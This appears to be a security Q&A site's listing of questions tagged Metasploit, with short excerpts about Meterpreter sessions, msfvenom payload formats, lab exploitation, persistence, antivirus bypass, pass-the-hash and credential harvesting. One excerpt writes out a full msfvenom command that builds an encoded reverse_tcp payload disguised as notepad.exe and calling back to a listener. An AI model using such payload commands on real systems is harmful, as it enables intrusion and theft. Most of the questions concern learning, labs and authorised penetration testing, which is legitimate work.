Questions tagged [metasploit]

Metasploit is an open source exploitation framework that acts as a tool for developing and executing exploit code against a remote target machine

Filter by
Sorted by
Tagged with
-1
votes
2answers
307 views

Meterpreter reverse_https website

When I make a a meterpreter connection with reverse https how do I change the website that appears when someone types my ip and LURI to the browser?
0
votes
1answer
339 views

Meterpreter Webcam_snap warnings [closed]

Since I updated metasploit every time I run the webcam_snap command in meterpreter in recieve lots of warnings like the ones below, why do they appear? Gtk-WARNING **: Theme parsing error: gtk-...
6
votes
1answer
448 views

How exactly do “hidden” processes work [closed]

How can a process be hidden inside another one? Is the process moved into another process and turned into a thread with it's own run loop? How exactly does a process get moved? I see this Metasploit ...
1
vote
1answer
154 views

Meterpreter connections

If i setup a meterpreter reverse_https payload and send to multiple targets and they execute the payload whithout my handler running, when I setup the handler will they connect or do I have to have ...
1
vote
1answer
599 views

Meterpreter detach command

In a meterpreter reverse_https session when I use the detach command it closes my current session and then creates another, what it is the purpose of this?
0
votes
2answers
2k views

Meterpreter reverse_https ExitOnSession

When I'm setting the options for the reverse_https handler in metasploit, why would I set ExitOnSession to false and SessionCommunicationTimeout to 0? I don't fully understand the purpose. When I used ...
1
vote
1answer
3k views

MSFvenom format specifier

In msfvenom, what does it mean exactly when I specify the format to C or Python? And what is the format 'raw' for? I know, when the format is psh-cmd it runs in the command prompt, and when it is exe ...
1
vote
1answer
4k views

metasploit: how do I force build database cache

Every time I update from git, the database is invalidated. msf exploit(handler) > search xxx [!] Module database cache not built yet, using slow search How can I force the database to be built? ...
0
votes
3answers
128 views

If a system is updated, does that mean metasploit framework cannot penetrate the system?

I have been learning about metasploit and it is a framework of exploit and payloads. So what if the system is updated, does that mean those exploits won't work anymore? Can you explain more about it?
1
vote
2answers
686 views

search for exploits in metasploit

I scanned my network using nessus and imported the .nessus file to msfdb. Then I executed the vulns command to find vulnerabilities in the imported nessus scan. Is there a command that identifies ...
0
votes
1answer
3k views

Error when using metasploit mimikatz module

I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah) Anyways, I'm getting a weird error when running the metasploit module in a ...
0
votes
2answers
339 views

Pass the hash to identify as domain user instead of being stuck as NT Authority\System

Recently I discovered that passing the creds of local admin and domain admin to a remote windows 7 machine yields the same result: I gain access to that machine as NT Authority\System. The only way I ...
0
votes
1answer
3k views

Tomcat War Payload not working

So I am currently working my way through a few books. One of which had me download the metasploitable2 vm. This machine has a tomcat server running on it which I successfully exploited using ...
1
vote
0answers
344 views

Metasploit to connect to a target behind NAT

During a pentest and I experienced a weird problem with connecting to the target machine which is behind a NAT network the scenario is basically, they have a public ip : 1.1.1.1 and there are ...
0
votes
1answer
623 views

How do I make this instruction using msfvenom?

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -x /tmp/notepad.exe LHOST=192.168.10.1 LPORT=45631 -b "\x00" -f exe-only > notepad.exe and then if ...
1
vote
0answers
880 views

Metasploit payloads with VPN or proxies?

I have purchased VPN with torguard and asked them to forward ports. I run a test on the VPN IP and ports specified, and says ports closed, but they say otherwise in interface. Anyway I create a ...
-3
votes
1answer
714 views

Bypassing firewall and exploit the target [closed]

I have a victim which is vulnerable to the RPC-DCOM vulnerability (MS03_26). The victim OS is Windows Server 2003, and It has Kaspersky Antivirus. When I try to exploit via Metasploit it exploited ...
0
votes
2answers
237 views

Analysing a MetaSploit Exploit, can't figure out why a function is not executing

I'm studying a MetaSploit Exploit vnc_keyboard_exec, and I was wondering where is defined the function cmd_psh_payload (line 141). So I greped through msf/core directory on my Kali machine and found ...
1
vote
1answer
778 views

Browser Autopwn2 Unable to Exploit “Victim” on Separate Network

Am using VMWare Workstation 10 Player. Kali Linux OS is Nat Windows XP is bridge That means both are on separate networks. I am trying to make Kali Exploit the XP box. Remote Windows is 192.168.1.9 ...
1
vote
2answers
314 views

Is it possible to metasploit without the shell.exe running on victim's computer?

Whenever you have to get control of your victim's pc then you have to run the exe generated from msfvenom where the payload is set. So is there a way to to metasploit without the exe running or any ...
1
vote
1answer
808 views

Msfvenom new formats ?

can someone explain to me the difference between exe, exe-only, exe-service, exe-small   and msi, msi-nouac in msfvenom when generating payload for privilege escalation ? thanks .
1
vote
1answer
2k views

Stdapi commands not showing in meterpreter session

I created a android payload with public IP (android/meterpreter/reverse_https). The stdapi commands(ls,cd,webcam_snap etc) are showing when the victim is in the same network. But when I try to ...
1
vote
3answers
17k views

How to set reverse tcp connection when doing pentesting in VMs?

msfconsole is a cool opensource pentesting tool from metasploit. Once the exploit is valid, we can set payload to the victim. For persistent connection, we may need meterpreter. But we often test ...
1
vote
1answer
775 views

Metasploit: Is it possible to automatically kick off a script on a reverse-shell callback?

Is it possible to automatically kick of a Metasploit script when a TCP Reverse Shell connection connects back into the handler? e.g. Reverse-Shell connects back in, automatically kick off a script ...
-1
votes
1answer
457 views

How to connect reverse_tcp with my remote server(not in the same machine where i have metasploit)?

This is my question: How to connect reverse_tcp meterpreter with my remote server(NOT in the same machine where i have installed metasploit)? It's possible? I need this because i haven't a public ip ...
2
votes
3answers
4k views

(Solved) Meterpreter over ASPX webshell

I am a beginner and have just started working on pentesting engagements. I have a case where I have a victim IIS server (without PHP support) where I have aspx based web shell (https://github.com/...
1
vote
2answers
7k views

using msfvenom to encode an exe file without any payload, like oldy msfencode (packing)

Doing some research about packing and such, I went on the possibility to use the old msfencode to generate a packed exe. However, msfencode is not updated anymore (still found on kali however), and I ...
7
votes
3answers
3k views

Metasploit Meterpreter Persistence Script Alternatives

These days I am testing various type of client hacking techniques, and in all scenarios I am using Meterpreter/reverse_tcp as payload. Now I can bypass Anti-Virus and Firewalls easily, but when i run ...
1
vote
1answer
453 views

Metasploit remote exploit locally

I have a test machine running: Windows 7 Symantec Endpoint Protection. The firewall only allows access to Symantec Endpoint Protection via 127.0.0.1. If I have gained a shell to the machine via ...
0
votes
1answer
206 views

Applocker Execution Prevention Bypass - Session parameter

I am still new to Metasploit and I am trying to explore the following module: 1- Module Name: exploit/windows/local/applocker_bypass I did: 1- use exploit/windows/local/applocker_bypass 2- set ...
0
votes
1answer
2k views

Remote File Include - commands running on attack box?

I think I am losing my marbles. I am doing a practice lab, and the machine has a server hosting a site with a RFI vulnerability. I host a malicious php file in my /var/www/html and start the apache2 ...
0
votes
0answers
704 views

Browser Autopwn2 Unable to exploit Firefox 47.0.1

Virtual Appliance: VMWare Workstation 12 Player Local VM: Kali Linux 2 Remote (Victim) VM: Windows XP Browsers on Remote VM: Firefox 47.0.1, IE 6 This article explains Browser Autopwn2 exploit. I ...
1
vote
1answer
591 views

How to Edit Malicious Webpage in BindTCP

I'm studying Ethical Hacking, using BindTCP on Metasploit, Kali Linux. This video shows the steps, and I successfully exploited an unpatched Windows XP running a vulnerable IE 6 (on my personal ...
0
votes
1answer
2k views

Metasploit INFILENAME

I am learning *MSF on Kali but I ran into a problem. I am trying a simple adobe_pdf_embedded_exe and when I set INFILENAME to something simple such as nutrition.pdf it cannot find the file, so ...
12
votes
2answers
18k views

What is Shikata Ga Nai

I came across this payload named "Shikata Ga Nai" (in Japanese it means nothing can be done about it). Some exe file was generated and when it is executed, a reverse shell can be obtained. But this ...
1
vote
1answer
857 views

metasploit+openvas error

switched to openvas a couple days, is open and does the job.. so far so good, but I hit a wall.. with metasploit I load the module, I log in, fine.. but when I run some tasks I get some errors.. I ...
5
votes
2answers
4k views

Snort rules to detect Meterpreter sessions

I am learning while configuring Snort, my setup consists in an attacker (Linux), a victim (Android smartphone) and one detection system (IDS). So far, I have been able to log all the packets between ...
0
votes
1answer
198 views

Metasploit Ruby Scripting: Problem with framework.db.creds

I am trying to access the credentials I have gathered so far with Metasploit in a Ruby-Resource script. Unfortunately I get the following error when I try to access framework.db.creds. >> ...
0
votes
1answer
452 views

Setoolkit - credential harvester, only display the first character of the password

I'm launching a spear phishing campaign and my client has specifically asked me to only harvest the first character of the password, is there a way to do so? Basically instead of showing the whole ...
0
votes
2answers
518 views

How to use standalone meterpreter exe with a USB key connected to an unlocked victim session

When I need to make a POC about why it is dangerous to let the session unlocked, I used to put a mimikatz on an USB key and get the logon credentials in clear text. But sometimes the client has no ...
0
votes
1answer
269 views

Metasploitable: Change/Location of login page file?

I have been messing around with Metasploitable 2 and changed the default login credentials. The login page looks like this: I want to change where it says "Login with msfadmin/msfadmin to get ...
-2
votes
2answers
21k views

Trouble with Metasploit framework (kali linux) [ms08_067_netapi]

I'm new to kali linux and just penetration testing in general. I'm having a bit of trouble with the metasploit framework in getting into my own pc. I've used this tutorial and I get an error that says ...
3
votes
2answers
2k views

Unable to PSEXEC into machine with admin hash

I'm doing a penetration test at the moment, and I am trying to PSEXEC into a machine for which I have the local administrator hash. I am attempting this with metasploit and metasploits psexec module. ...
1
vote
0answers
833 views

web view addjavascriptinterface exploit

I have been banging my head around this for almost 56 hours now (+/- a few that I took out to have a couple of naps and RedBulls) and have not been able to get anywhere with it so far. I am trying ...
1
vote
1answer
211 views

Is it possible to encode a Flash exploit with msfencode?

I am using a Flash exploit from metasploit, exploit/multi/browser/adobe_flash_hacking_team_uaf. The Cisco FirePOWER services notice these signatures and drop the packets. I was wondering about the ...
1
vote
3answers
5k views

Powershell scripts inside meterpreter sessions

I have aquestion i tried to answer myself without much success. I love all the powershell script provided for post exploitation purposes -> Powersploit; Nishang etc... My only problem is that i can't ...
1
vote
1answer
643 views

Bypass UAC without meterpreter session?

I have a research project about "Malvertising". I try to show an attack by using metasploit and I am using a Flash Plugin to hack the victim (exploit/multi/browser/adobe_flash_hacking_team_uaf) This ...
0
votes
1answer
176 views

ImageMagick < 6.9.3-9 - Multiple Vulnerabilities question [closed]

Do you know any contain management system or other applications that are affected by the recent ImageMagick exploits? (I have already played with convert tool which is offered on Linux)
1
vote
2answers
329 views

Is it possible to execute metasploit exploits from Meterpreter?

I have an attack scenario, first I send a malicious pdf to my victim, then I have a reverse tcp shell (Meterpreter session) on his computer then I want to exploit a samba server (which is already ...
1
vote
0answers
765 views

Attaching orphaned/stageless session meterpreter

I have problems with meterpreter reverse_https. In my engagement, I saw this message in console; "Attaching orphaned/stageless session meterpreter" But after I lose connection, and victim connects ...